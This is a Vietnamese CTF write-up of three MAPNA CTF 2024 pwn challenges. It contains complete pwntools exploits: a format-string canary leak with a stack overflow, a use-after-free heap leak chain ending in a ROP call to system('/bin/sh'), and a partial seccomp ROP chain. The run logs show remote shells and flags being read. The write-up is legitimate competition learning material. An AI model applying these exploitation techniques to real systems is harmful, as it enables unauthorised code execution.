Skip to main content

MAPNA CTF 2024 - PWN writeup

·5317 words·25 mins
ctf pwn MAPNA 2024
Author
Lio
Trying to exploit this shell program called life that I never get control of.
Table of Contents

ninipwn
#

Mô tả: pwn ^ pwn ^ pwn ^ pwn ^ pwn ^ pwn

Kiểm tra sơ bộ
#

Đề cung cấp 2 file binary ninipwnDockerfile nhưng tạm thời mình sẽ không quan tâm đến file Dockerfile này trừ khi cần sử dụng đến libc.

Sử dụng checksec lên file ninipwn cho chúng ta kết quả như sau:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Tiếp theo mình sẽ check sâu hơn vào file chương trình mà đề cho.

Phân tích source code
#

Chương trình có 3 hàm quan trọng cần chú ý là main, encryption_service, encrypt và 1 hàm win chính là target mà chúng ta cần phải gọi tới.

Hàm main của chương trình như sau:

int __fastcall main(int argc, const char **argv, const char **envp)
{
    disable_io_buffering(argc, argv, envp);
    puts("XOR encryption service");
    encryption_service();
    return 0;
}

Hàm disable_io_buffering chủ yếu để set buffer cho stdin, stdout và stderr cho việc connect trên remote nên chúng ta không cần phải quan tâm quá nhiều.

Tiếp theo là hàm encryption_service:

unsigned __int64 encryption_service()
{
    char buf[264]; // [rsp+0h] [rbp-110h] BYREF
    unsigned __int64 v2; // [rsp+108h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    printf("Text length: ");
    __isoc99_scanf("%d", &text_length);
    getchar();
    if ( (unsigned int)text_length < 257 )
    {
        printf("Key: ");
        read(0, key, 10uLL);
        printf("Key selected: ");
        printf(key);
        putchar(0xA);
        printf("Text: ");
        read(0, buf, text_length);
        encrypt((__int64)buf);
        printf("Encrypted output: ");
        write(1, buf, text_length);
    }
    else
    {
        puts("Text length must be less than 256");
    }

    return v2 - __readfsqword(0x28u);
}

Hàm hay sẽ đọc input lần lượt 3 thứ: biến global text_length chứa độ dài cần đọc của biến buf, biến global key và biến local buf.

Chương trình sẽ kiểm tra biến text_length không được vượt quá 256 để chống stack overflow trên biến buf. Vậy nghĩa là chúng ta phải tìm cách bypass được cái check này hoặc tìm cách exploit khác.

Ngoài ra thì hàm này còn dính phải lỗi format string khi nó gọi printf thẳng lên biến key mà người dùng input. Mình đoán là sẽ phải tận dụng lỗi này để leak một giá trị nào đó vì độ dài của biến key có giới hạn nên khó có thể khai thác lỗi này để ghi đè lên đâu đó được.

Tiếp theo thì chương trình sẽ mang biến buf pass vào hàm encrypt.

__int64 __fastcall encrypt(__int64 a1)
{
    __int64 result; // rax
    int i; // [rsp+14h] [rbp-4h]

    for ( i = 0; ; ++i )
    {
        result = (unsigned int)text_length;
        if ( i >= text_length )
        {
            break;
        }

        *(_BYTE *)(i + a1) ^= key[i % 8];
    }

    return result;
}

Hàm này không có gì đặc biệt ngoài việc nó mã hóa chuỗi truyền vào bằng cách mang XOR với 8 ký tự của biến key.

Tới đây thì mình chợt nhận ra một điều là trong hàm encryption_service chương trình yêu cầu nhập tối đa 10 ký tự cho biến key nhưng trong hàm encrypt lại chỉ sử dụng 8 ký tự để XOR. Nên là mình đã check xem địa chỉ của biến key này nằm như thế nào trên memory.

.bss:0000000000004050         public key
.bss:0000000000004050 ; char key[8]
.bss:0000000000004050 key     db 8 dup(?)                     ; DATA XREF: encrypt+35↑o
.bss:0000000000004050                                         ; encryption_service+99↑o
.bss:0000000000004050                                         ; encryption_service+C1↑o
.bss:0000000000004058         public text_length
.bss:0000000000004058 text_length dd ?

Chúng ta có thể dễ dàng nhận thấy rằng địa chỉ của biến key nằm ở địa chỉ 0x4050 trong khi biến text_length nằm tại 0x4058. 2 biến này cách nhau chỉ 8 byte nhưng chương trình lại đọc tận 10 byte vào biến key.

Đồng thời chương trình chỉ đọc input vô biến key sau khi đã kiểm tra giá trị của biến text_length nên chúng ta hoàn toàn có thể tận dụng lỗi này để ghi đè lên biến text_length thông qua việc đọc input vào biến key, từ đó khiến text_length mang giá trị đủ lớn để overflow thông qua biến buf nằm trên stack.

Lên kịch bản khai thác
#

Vì hàm mainwin chỉ cách biệt nhau đúng 1 byte nên việc chương trình bật chế độ bảo vệ PIE không phải vấn đề cần lo lắng vì chúng ta chỉ cần ghi đè lên byte cuối cùng của địa chỉ trả về của hàm encryption_service mà không cần quan tâm đến các byte ngẫu nhiên sau đó.

Ngoài ra, chúng ta cũng cần phải kiểm soát được giá trị sẽ ghi đè lên biến text_length do tính chất của hàm encrypt sẽ thực hiện phép XOR lên text_length ký tự trên stack nên để tránh việc hàm encrypt thực hiện phép XOR lên các byte ngẫu nhiên của địa chỉ trả về từ đó khiến chương trình bị lỗi. Vậy nên mình sẽ chỉ set giá trị của text_length bằng đúng với độ dài của payload.

Tuy nhiên như đã thấy ở bước kiểm tra sơ bộ, chương trình có bật stack canary nên mình không thể cứ thế mà overflow đại trên stack cho đến khi gặp địa chỉ trả về được. Nên mình có thể tận dụng lỗi format string đã nói ở trên để leak được giá trị canary đang nằm trên stack ra.

Với tất cả các mảnh ghép đã đầy đủ, điều duy nhất còn lại là viết script khai thác thôi.

from pwn import *

context.binary = exe = ELF('ninipwn', False)

io = remote('3.75.185.198', 7000)

def encrypt(data, key):
    assert len(data) == len(key)
    return xor(data, key)

io.sendlineafter(b': ', b'256')
key = b'%39$lx--'
io.sendafter(b': ', key+b'\x19\x01') # last 2 bytes need to be 0x119 (the length of our payload) so the encrypt function only encrypts our payload
io.recvuntil(b': ')
canary = int(io.recvline().split(b'--')[0], 16)

payload = b'\0'*264 + encrypt(p64(canary), key) + b'\0'*8 + b'\x16' # 0x16 ^ '%' = 0x33 aka 1st byte of win function
io.sendafter(b': ', payload)

io.interactive()
$ python3 exp.py
[+] Opening connection to 3.75.185.198 on port 7000: Done
[*] Switching to interactive mode
Encrypted output: %39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--%39$lx--\x00\xe4<\x9e\x92JQM%39
$ ls
flag.txt
ninipwn
$ cat flag.txt
MAPNA{d1d-y0u-x0r-7h3-r37urn-4ddr355??-a428b23}

Buggy Paint
#

Mô tả: I wrote a paint for myself but It seems kinda buggy

Kiểm tra sơ bộ
#

Đề cho chúng ta 4 file: binary chall, libc libc.so.6, loader ld-linux-x86-64.so.2Dockerfile. Thấy đề cho thẳng file libc như vậy nên là mình cứ dùng pwninit link nó vào file chương trình trước luôn cho chắc.

$ pwninit
bin: ./chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.4_amd64.deb
warning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)
copying ./chall to ./chall_patched
running patchelf on ./chall_patched

$ mv chall_patched chall

Sử dụng checksec lên file chall cho chúng ta kết quả như sau:

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'.'

Cũng không khác gì bài trước. Giờ vô kiểm tra chương trình nào.

Phân tích source code
#

File chương trình đã bị strip để bỏ đi tên các symbol nên khi ném vào trong các decompiler thì nó sẽ chỉ hiện tên các hàm là 1 mớ gì đó rất khó nhớ nên mình đã ngồi đổi lại tên 1 số hàm dựa trên công dụng và luồng thực thi để tiện quan sát, theo dõi và phân tích hơn.

Đầu tiên là hàm main:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    int v4; // [rsp+4h] [rbp-Ch] BYREF
    unsigned __int64 v5; // [rsp+8h] [rbp-8h]

    v5 = __readfsqword(0x28u);
    disable_io_buffering(a1, a2, a3);
    puts("Welcome to BuggyPaint!");
    while ( 1 )
    {
        print_grid();
        menu();
        v4 = 0xFFFFFFFF;
        __isoc99_scanf("%d", &v4);
        getchar();
        switch ( v4 )
        {
            case 1:
                create_box();
                break;

            case 2:
                delete_box();
                break;

            case 3:
                select_box();
                break;

            case 4:
                edit_selected_box();
                break;

            case 5:
                show_selected_box();
                break;

            default:
                puts("Invalid option");
                return 0LL;
        }
    }
}

Hàm print_grid nhìn vô thì thấy 1 mớ hổ lốn nhưng thật ra những gì nó làm chỉ là in ra màn hình khối hộp to tượng trưng cho 1 vùng trống nào đấy giống như bản đồ với format màu các kiểu thôi nên không cần bận tâm tới. Kiểu như thế này nè:

Welcome to BuggyPaint!
==================================
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
|                                |
==================================

Hàm menu thì in ra cho chúng ta các option như sau:

int menu()
{
    puts("1. create box");
    puts("2. delete box");
    puts("3. select box");
    puts("4. edit selected box");
    puts("5. show selected box");
    return printf("> ");
}

Các hàm tương ứng với mỗi lựa chọn trong menu như sau:

unsigned __int64 create_box()
{
    const char *v0; // rax
    int v2; // [rsp+Ch] [rbp-34h] BYREF
    unsigned __int64 v3; // [rsp+10h] [rbp-30h] BYREF
    unsigned __int64 v4; // [rsp+18h] [rbp-28h] BYREF
    unsigned __int64 v5; // [rsp+20h] [rbp-20h] BYREF
    unsigned __int64 v6; // [rsp+28h] [rbp-18h] BYREF
    void *v7; // [rsp+30h] [rbp-10h]
    unsigned __int64 v8; // [rsp+38h] [rbp-8h]

    v8 = __readfsqword(0x28u);
    printf("x: ");
    __isoc99_scanf("%lu", &v3);
    printf("y: ");
    __isoc99_scanf("%lu", &v4);
    printf("width: ");
    __isoc99_scanf("%lu", &v5);
    printf("height: ");
    __isoc99_scanf("%lu", &v6);
    printf("color(1=red, 2=green): ");
    __isoc99_scanf("%d", &v2);
    getchar();
    if ( v3 <= 31 && v4 <= 31 && v5 <= 32 && v6 <= 32 && v3 + v5 <= 32 && v4 + v5 <= 32 )
    {
        if ( v2 > 0 && v2 <= 2 )
        {
            if ( qword_4060[0x20 * v3 + v4] )
            {
                puts("The selected cell is full");
            }
            else
            {
                v7 = malloc(48uLL);
                *(_QWORD *)v7 = v3;
                *((_QWORD *)v7 + 1) = v4;
                *((_QWORD *)v7 + 3) = v5;
                *((_QWORD *)v7 + 4) = v6;
                if ( v2 == 1 )
                {
                    v0 = "\x1B[31m";
                }
                else
                {
                    v0 = "\x1B[32m";
                }

                *((_QWORD *)v7 + 2) = v0;
                *((_QWORD *)v7 + 5) = malloc(v5 * v6);
                memset(*((void **)v7 + 5), 0, v6 * v5);
                printf("content: ");
                read(0, *((void **)v7 + 5), v6 * v5);
                qword_4060[0x20 * v3 + v4] = v7;
            }
        }
        else
        {
            puts("Wrong color");
        }
    }
    else
    {
        puts("Bad dimensions");
    }

    return v8 - __readfsqword(0x28u);
}

unsigned __int64 delete_box()
{
    unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
    unsigned __int64 v2; // [rsp+10h] [rbp-10h] BYREF
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    printf("x: ");
    __isoc99_scanf("%lu", &v1);
    printf("y: ");
    __isoc99_scanf("%lu", &v2);
    if ( v1 <= 0x1F && v2 <= 0x1F )
    {
        if ( qword_4060[0x20 * v1 + v2] )
        {
            free(*(void **)(qword_4060[0x20 * v1 + v2] + 0x28LL));
            free((void *)qword_4060[0x20 * v1 + v2]);
            qword_4060[0x20 * v1 + v2] = 0LL;
        }
        else
        {
            puts("Empty cell");
        }
    }
    else
    {
        puts("Bad coordinates");
    }

    return v3 - __readfsqword(0x28u);
}

unsigned __int64 select_box()
{
    unsigned __int64 v1; // [rsp+8h] [rbp-18h] BYREF
    unsigned __int64 v2; // [rsp+10h] [rbp-10h] BYREF
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]

    v3 = __readfsqword(0x28u);
    printf("x: ");
    __isoc99_scanf("%lu", &v1);
    printf("y: ");
    __isoc99_scanf("%lu", &v2);
    if ( v1 <= 0x1F && v2 <= 0x1F )
    {
        if ( qword_4060[0x20 * v1 + v2] )
        {
            qword_6060 = qword_4060[0x20 * v1 + v2];
        }
        else
        {
            puts("Empty cell");
        }
    }
    else
    {
        puts("Bad coordinates");
    }

    return v3 - __readfsqword(0x28u);
}

ssize_t edit_selected_box()
{
    printf("New content: ");
    return read(0, *(void **)(qword_6060 + 0x28), *(_QWORD *)(qword_6060 + 0x20) * *(_QWORD *)(qword_6060 + 0x18));
}

unsigned __int64 show_selected_box()
{
    unsigned __int64 result; // rax
    unsigned __int64 i; // [rsp+8h] [rbp-18h]
    size_t n; // [rsp+10h] [rbp-10h]
    unsigned __int64 v3; // [rsp+18h] [rbp-8h]

    puts("Box content:");
    n = *(_QWORD *)(qword_6060 + 0x18);
    v3 = *(_QWORD *)(qword_6060 + 0x20);
    for ( i = 0LL; ; ++i )
    {
        result = i;
        if ( i >= v3 )
        {
            break;
        }

        write(1, (const void *)(*(_QWORD *)(qword_6060 + 0x28) + n * i), n);
        putchar(0xA);
    }

    return result;
}

Nhìn qua thì cực kỳ rối mắt luôn đúng không? Nhưng mà mình sẽ tóm tắt lại ở đây cho dễ hiểu.

Đầu tiên thì bên trong chương trình sẽ khởi tạo 1 mảng 32x32 tạm gọi là map[32][32] (hàm print_grid khi này chính là dùng để in cái mảng này ra nè) và define 1 struct tạm gọi là Box như sau:

struct Box {
    int64_t x;
    int64_t y;
    char* color;
    int64_t width;
    int64_t height;
    char* content;
};

Trong đó:

  • xy: tọa độ của Box trên mảng
  • color: chứa địa chỉ của chuỗi format màu (đỏ hoặc xanh) trong chương trình
  • widthheight: chiều dài và rộng của Box
  • content: chứa địa chỉ của chuỗi nội dung mà người dùng nhập vào cho Box (độ lớn = diện tích Box = width x height)

Cơ bản là người dùng sẽ được tạo các Box ở những vị trí cụ thể trên mảng 32x32 và gán nội dung vào bên trong những Box này. Các hàm cụ thể có công dụng như sau:

Hàm create_box:

  • Yêu cầu nhập vào các thông tin (x, y, width, height, color) của Box muốn tạo
  • Check xem tọa độ đã có Box hay chưa
  • Malloc chunk có size bằng size của struct Box là 48 byte (gọi là chunk struct)
  • Malloc chunk có size bằng diện tích Box (gọi là chunk content) và set vô biến content trong Box
  • Yêu cầu nhập vào content cho Box
  • Set địa chỉ chunk struct lên mảng tại map[x][y]

Hàm delete_box:

  • Yêu cầu nhập vào tọa độ Box cần xóa
  • Check xem tọa độ đã có Box để xóa hay không
  • Free chunk content của Box
  • Free chunk struct của Box
  • Set mảng map[x][y] = 0

Hàm select_box:

  • Yêu cầu nhập vào tọa độ Box cần xóa
  • Check xem tọa độ có Box hay không
  • Lưu địa chỉ của Box tại map[x][y] vào một biến global qword_6060 (từ giờ sẽ gọi là chosen_box)

Hàm edit_selected_box:

  • Đọc vào chunk content của chosen_box với số lượng ký tự bằng với diện tích Box

Hàm show_selected_box:

  • In ra màn hình nội dung trong content của chosen_box

Luồng thực thi chủ yếu của chương trình sẽ dựa vào lựa chọn của người dùng. Nhìn qua thì có vẻ đây là 1 challenge heap cơ bản.

Tuy nhiên thì chương trình sau khi free chunk struct thì sẽ set lại map[x][y] = 0 nhưng nhờ vào biến chosen_box nên chúng ta vẫn có thể sử dụng lại và leak chunk đã được free bằng cách set Box cần leak vào chosen_box trước sau đó free Box này và dùng đến các hàm edit_selected_boxshow_selected_box.

Lên kịch bản khai thác
#

Từ khúc này trở xuống khuyến khích các bạn có sẵn nền tảng cơ bản về heap, malloctcache… trước thì sẽ dễ hiểu hơn. Mình sẽ trình bày cách giải theo hướng từ dưới lên nhé.

Vì chương trình sử dụng libc bản về sau nên việc khai thác __free_hook không còn khả thi nữa nên target của chúng ta sẽ là leak địa chỉ stack thông qua symbol __environ trong libc sau đó tạo 1 rop chain trên stack để gọi system.

Mà để có được địa chỉ libc thì mình cần phải leak nó thông qua GOT hoặc vùng nhớ chứa stdin, stdout, stderr trong chương trình. Mà chương trình thì có bật chế độ bảo vệ PIE.

Mình sẽ leak địa chỉ chương trình thông qua vùng nhớ heap. Còn nhớ ban nãy trong struct Box có chứa một biến color chính là địa chỉ chuỗi format màu đỏ hoặc xanh nằm trong chương trình không? Mình sẽ có thể phải bằng cách nào đó leak được địa chỉ này ra.

Và để leak được địa chỉ này thì đương nhiên không thể thiếu 1 thứ cực kỳ quan trọng chính là địa chỉ heap. Mà để leak được địa chỉ heap thì chúng ta có thể khai thác lỗi UAF (Use After Free) với biến chosen_box như đã nói ở trên để lấy được địa chỉ heap base chính nằm trong chunk đầu tiên sau khi được free.

Để hình dung cách hoạt động thì hãy nhìn vào luồng thực thi sau:

Đầu tiên thì mình sẽ malloc 1 chunk 0 với content size >= 8 (để leak được 8 byte địa chỉ):

chunk 0: struct chunk 0 -> content chunk 0
chosen_box:

tcache

Mũi tên (->) biểu thị con trỏ mà biến content trong struct Box đang trỏ đến. Sau đó mình set chosen_box là chunk 0 này:

chunk 0: struct chunk 0 -> content chunk 0
chosen_box: struct chunk 0 -> content chunk 0

tcache

Tiến hành free chunk 0:

chunk 0:
chosen_box: struct chunk 0 (đã free) -> content chunk 0 (đã free)

tcache <- content chunk 0 (đã free) <- struct chunk 0 (đã free)

Lúc này thì content chunk 0 đang được tcache dùng chứa địa chỉ heap (heap base » 12). Chúng ta chỉ cần gọi hàm show_selected_box là đã có thể leak được địa chỉ heap ra ngoài.

Và khi đã có địa chỉ heap rồi thì chúng ta có thể malloc và free làm sao để khiến cho content chunk của Box này chính là struct chunk của Box khác từ đó thay đổi được địa chỉ content trong struct trỏ đến 1 struct chunk khác để leak địa chỉ chương trình. Tương tự từ địa chỉ chương trình -> địa chỉ libc -> địa chỉ stack.

Để hiểu rõ hơn cách hoạt động của cách khai thác này thì chúng ta cũng nhìn qua luồng thực thi sau, giả sử rằng đã biết được địa chỉ heap:

Đầu tiên thì mình sẽ malloc 2 chunk 0 và 1 với content size khác 48 (là size của struct chunk):

chunk 0: struct chunk 0 (48 byte) -> content chunk 0 (n byte)
chunk 1: struct chunk 1 (48 byte) -> content chunk 1 (n byte)
chosen_box:

tcache

Sau đó mình set chosen_box là chunk 0:

chunk 0: struct chunk 0 (48 byte) -> content chunk 0 (n byte)
chunk 1: struct chunk 1 (48 byte) -> content chunk 1 (n byte)
chosen_box: struct chunk 0 (48 byte) -> content chunk 0 (n byte)

tcache

Tiến hành free chunk 0 trước sau đó free chunk 1:

chunk 0:
chunk 1:
chosen_box: struct chunk 0 (48 byte) -> content chunk 0 (n byte)

tcache <- content chunk 0 (n byte, đã free) <- struct chunk 0 (48 byte, đã free) <- content chunk 1 (n byte, đã free) <- struct chunk 1 (48 byte, đã free)

Sau đó chúng ta sẽ malloc 1 chunk 2 có content size là 48 byte (= size struct chunk). Và vì content size = struct size nên chúng ta cũng sẽ khởi tạo trước nội dung của content này theo struct Box như sau:

struct Box {
    int64_t x = 0; // tọa độ bất kỳ
    int64_t y = 0; // tọa độ bất kỳ
    char* color = heap base; // địa chỉ bất kỳ
    int64_t width = 8; // để leak 8 byte địa chỉ
    int64_t height = 1; // chỉ cần leak 1 địa chỉ
    char* content = leak_address; // địa chỉ cần leak trên heap chứa địa chỉ chuỗi format màu
};

Mình sẽ gọi chuỗi 48 byte này là fake_data. Như vậy thì lúc này trên heap của chúng ta sẽ như sau:

chunk 0:
chunk 1:
chunk 2: struct chunk 1 (48 byte) -> struct chunk 0 (48 byte, đang chứa fake_data biểu thị đúng như một struct chunk)
chosen_box: struct chunk 0 (48 byte, đang chứa fake_data biểu thị đúng như một struct chunk) -> địa chỉ cần leak

tcache <- content chunk 0 (n byte, đã free) <- content chunk 1 (n byte, đã free)

Do tính chất của việc giải phóng và cấp phát bộ nhớ heap trên libc mà struct chunk của 2 chunk 0 và 1 đã được tận dụng lại và cấp cho chunk 2.

Do chúng ta đã truyền fake_data vào content chunk của chunk 2 (aka struct chunk của chunk 0) mà giờ chỉ cần gọi hàm show_selected_box là có thể leak được 8 byte giá trị tại địa chỉ mong muốn.

Từ đó chúng ta cứ thế mà free chunk 2 sau đó lại malloc 1 chunk mới với fake_data chứa địa chỉ cần leak tiếp theo. Cứ thực hiện leak theo quy trình địa chỉ heap -> địa chỉ chương trình -> địa chỉ libc -> địa chỉ stack.

Và sau khi đã có được địa chỉ stack thì thay vì dùng nó để leak tiếp thì mình sẽ dùng tới hàm edit_selected_box để tạo rop chain trên stack thôi. Tới đây thì mọi mảnh ghép đã vào đúng ví trí rồi.

from pwn import *

context.binary = exe = ELF('chall', False)
libc = ELF('libc.so.6', False)
rop = ROP(libc)

# io = process()
# gdb.attach(io, api=True)
io = remote('3.75.185.198', 2000)

def create_box(x, y, w, h, color, data):
    io.sendlineafter(b'> ', b'1')
    io.sendlineafter(b'x: ', str(x).encode())
    io.sendlineafter(b'y: ', str(y).encode())
    io.sendlineafter(b'width: ', str(w).encode())
    io.sendlineafter(b'height: ', str(h).encode())
    io.sendlineafter(b'): ', str(color).encode())
    io.sendafter(b'content: ', data)

def delete_box(x, y):
    io.sendlineafter(b'> ', b'2')
    io.sendlineafter(b'x: ', str(x).encode())
    io.sendlineafter(b'y: ', str(y).encode())

def select_box(x, y):
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b'x: ', str(x).encode())
    io.sendlineafter(b'y: ', str(y).encode())

def edit_box(data):
    io.sendlineafter(b'> ', b'4')
    io.sendafter(b'content: ', data)

def show_box():
    io.sendlineafter(b'> ', b'5')
    io.recvuntil(b'content:\n')

# initialize
create_box(0, 0, 8, 2, 1, b'chunk 0')
create_box(1, 1, 8, 2, 1, b'chunk 1')

# leak heap base
select_box(0, 0)
delete_box(0, 0)
show_box()
heap_base = u64(io.recvline(keepends=False)) << 12
log.info(f'heap base: {hex(heap_base)}')

# leak elf base
delete_box(1, 1)
fake_data = p64(0) + p64(0) + p64(heap_base) + p64(8) + p64(1) + p64(heap_base + 0x310)
create_box(0, 0, 8, 6, 1, fake_data)
show_box()
exe.address = u64(io.recvline(keepends=False)) - 0x207d
log.info(f'exe base: {hex(exe.address)}')

# leak libc base
delete_box(0, 0)
fake_data = p64(0) + p64(0) + p64(heap_base) + p64(8) + p64(1) + p64(exe.got['puts'])
create_box(0, 0, 8, 6, 1, fake_data)
show_box()
libc.address = u64(io.recvline(keepends=False)) - libc.sym['puts']
log.info(f'libc base: {hex(libc.address)}')

# leak stack through eviron
delete_box(0, 0)
fake_data = p64(0) + p64(0) + p64(heap_base) + p64(8) + p64(1) + p64(libc.sym['__environ'])
create_box(0, 0, 8, 6, 1, fake_data)
show_box()
stack = u64(io.recvline(keepends=False)) - 288
log.info(f'stack pointer at ret main: {hex(stack)}')

# ROP
pop_rdi = libc.address + rop.find_gadget(['pop rdi', 'ret'])[0]
delete_box(0, 0)
fake_data = p64(0) + p64(0) + p64(heap_base) + p64(8) + p64(4) + p64(stack)
create_box(0, 0, 8, 6, 1, fake_data)
payload = p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) + p64(pop_rdi+1) + p64(libc.sym['system'])
edit_box(payload)

io.sendlineafter(b'> ', b'0')
io.interactive()
$ python3 exp.py
[*] Loaded 219 cached gadgets for 'libc.so.6'
[+] Opening connection to 3.75.185.198 on port 2000: Done
[*] heap base: 0x55b1b7529000
[*] exe base: 0x55b1b5f65000
[*] libc base: 0x7f15bfb78000
[*] stack pointer at ret main: 0x7fff0224ce58
[*] Switching to interactive mode
Invalid option
$ ls
chall
flag.txt
ld-linux-x86-64.so.2
libc.so.6
$ cat flag.txt
MAPNA{1-c4n7-b3l13v3-7h47-4-bu6-c4n-l34d-70-7h15-f23f344b}

Protector
#

Mô tả: my flag is protected! what are you gonna do

Kiểm tra sơ bộ
#

Đề cho chúng ta 3 file: binary chall, Dockerfile và 1 file generate_directory_tree.py. Vì bài trước đã có đụng đến libc rồi nên khá sure là bài này khả năng cao cũng sẽ cần nên mình dựng lại 1 cái container như trong Dockerfile để lấy 2 file libc và loader ra sau đó link chúng lại với file chương trình.

$ pwninit
bin: ./chall
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2

unstripping libc
https://launchpad.net/ubuntu/+archive/primary/+files//libc6-dbg_2.35-0ubuntu3.6_amd64.deb
warning: failed unstripping libc: failed running eu-unstrip, please install elfutils: No such file or directory (os error 2)
copying ./chall to ./chall_patched
running patchelf on ./chall_patched
writing solve.py stub

$ mv chall_patched chall

Sử dụng checksec lên file chall cho chúng ta kết quả như sau:

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x3fd000)
RUNPATH:  b'.'

Chương trình lần này vừa không bật PIE và canary cũng đồng thời cho chúng ta ghi đè lên GOT (Partial RELRO). Nhưng vì bài này ra sau và số solve còn thấp hơn Buggy Paint nên mình đoán là bài này cũng chẳng phải dạng vừa.

Tiếp theo thì mình sẽ kiểm tra file python generate_directory_tree.py.

import os
import random
import string

flag = "MAPNA{placeholder_for_flag}"

MIN_NAME_LENGTH = 8
MAX_NAME_LENGTH = 16
FILES_COUNT = 0x100

def get_random_name():
	n = random.randint(MIN_NAME_LENGTH, MAX_NAME_LENGTH)
	return "".join(random.choice(string.ascii_letters + string.digits) for i in range(n))

def generate_files():
	files = [get_random_name() for i in range(FILES_COUNT)]
	real_flag_file = random.choice(files)
	for filepath in files:
		if filepath == real_flag_file:
			continue
		with open(filepath, "w") as f:
			pass
	with open(real_flag_file, "w") as f:
		f.write(flag)

def main():
	os.mkdir("maze")
	os.chdir("maze")
	generate_files()

if __name__ == "__main__":
	main()

TLDR: khi chạy file này thì nó sẽ tạo một thư mục tên maze sau đó thì tạo 1 mớ file với tên ngẫu nhiên và đặt flag vào 1 trong số đó.

Tới đây là thấy khoai rồi vì mấy bài thường mà để flag không ở trong file tên flag hay flag.txt hay dính tới seccomp với getdents lắm.

Tới đây thì mình cũng quyết định kiểm tra luôn Dockerfile để xem toàn bộ chương trình sẽ được deploy lên remote như thế nào.

FROM ubuntu@sha256:e6173d4dc55e76b87c4af8db8821b1feae4146dd47341e4d431118c7dd060a74
RUN apt-get -y update
RUN apt-get -y upgrade
RUN apt-get -y install socat python3
RUN useradd -m pwn
WORKDIR /home/pwn
COPY ./chall .
COPY generate_directory_tree.py .
RUN python3 generate_directory_tree.py
RUN chown -R root:root /home/pwn
RUN chmod -R 555 /home/pwn
CMD ["socat", "TCP-LISTEN:5000,reuseaddr,fork", "EXEC:'timeout 60 su pwn -c ./chall'"]

Vậy là khi deploy thì file generate_directory_tree.py sẽ được chạy trước để giấu flag đi sau đó file chương trình mới chạy.

Kiểm tra sơ nhiêu đây chắc là đủ rồi. Giờ thì check xem chương trình nó làm gì cái nào.

Phân tích source code
#

Hàm main của chương trình được decompile ra như sau:

int __fastcall main(int argc, const char **argv, const char **envp)
{
    char buf[32]; // [rsp+0h] [rbp-20h] BYREF

    disable_io_buffering(argc, argv, envp);
    printf("Input: ");
    init_sandbox();
    read(0, buf, 152uLL);
    return 0;
}

Hàm init_sandbox chủ yếu dùng để thêm rule cho seccomp chỉ cho phép một số lệnh gọi syscall cụ thể, đối với chương trình này thì là: open, close, read, write, mprotect, getdentsexit_group.

Đúng như mình dự đoán, mục tiêu khai thác của chương trình này sẽ là leak được danh sách tên các file thông qua getdents và mở từng file ra đọc để kiếm flag.

Tuy nhiên thì trước đó thì mình phải leak được địa chỉ của libc vì bên trong chương trình chính không có đủ các hàm cần thiết để tiến hành đọc và in file. Chúng ta có thể leak địa chỉ libc bằng hàm printf cũng tương tự như thông thường khi làm với hàm puts (gọi printf lên GOT của printf).

Lên kịch bản khai thác
#

Sau một hồi nghịch qua nghịch lại thì mình có để ý thấy một điều rất thú vị mà không biết có phải là unintended hay không nhưng nhờ nó mà mình đã có thể solve được bài này mà không cần gọi getdents để leak tên các file.

Nếu để ý sẽ thấy trước khi flag được mang giấu đi thì nó đã nằm sẵn trong file generate_directory_tree.py và khi đọc kỹ Dockerfile sẽ nhận ra file generate_directory_tree.py sau khi được thực thi thì vẫn còn tồn tại trong cùng thư mục với file chương trình mà không bị xóa đi.

Điều này đồng nghĩa với việc mình chỉ cần gọi open-read-write lên file generate_directory_tree.py là đã có thể đọc được flag mà chẳng cần phải tốn công mò đúng tên file chứa flag trong thư mục maze.

Có 2 điều cần phải lưu ý khi viết script khai thác:

Đầu tiên là sau khi leak được địa chỉ libc nếu như quay trở lại hàm main thì khi hàm main gọi lại hàm init_sandbox sẽ dính lỗi và chương trình sẽ dừng ngay lập tức. Vậy nên chúng ta cần phải nhảy xuống câu lệnh phía dưới đó là main+42

0x000000000040150a <+42>:    lea    rax,[rbp-0x20]

Tuy nhiên thì điều này cũng sẽ dẫn đến vấn đề chính là vì không quay trở về đầu hàm main nên chúng ta không thể khỏi tạo giá trị rbp mới cho lần gọi hàm này. Do đó mà từ đoạn này trở xuống thì stack của chương trình sẽ được tính từ giá trị rbp cũ mà ra.

Chính vì vậy mà khi thực hiện stack overflow để leak địa chỉ libc mình sẽ phải đồng thời set rbp trỏ tới vùng nhớ nào đó có quyền read bên trong chương trình (ví dụ như .bss).

from pwn import *

context.binary = exe = ELF('chall', False)
libc = ELF('libc.so.6', False)

pop_args = 0x4014d9 # pop rdi; pop rsi; pop rdx; ret;
ret = 0x4014dc
rop = ROP(libc)

# io = process()
# gdb.attach(io, api=True)
io = remote('3.75.185.198', 10000)

# leak libc through printf (same technique with puts)
payload = b'\0' * 0x20
payload += p64(exe.bss(0x100)) # new rbp
payload += p64(pop_args)
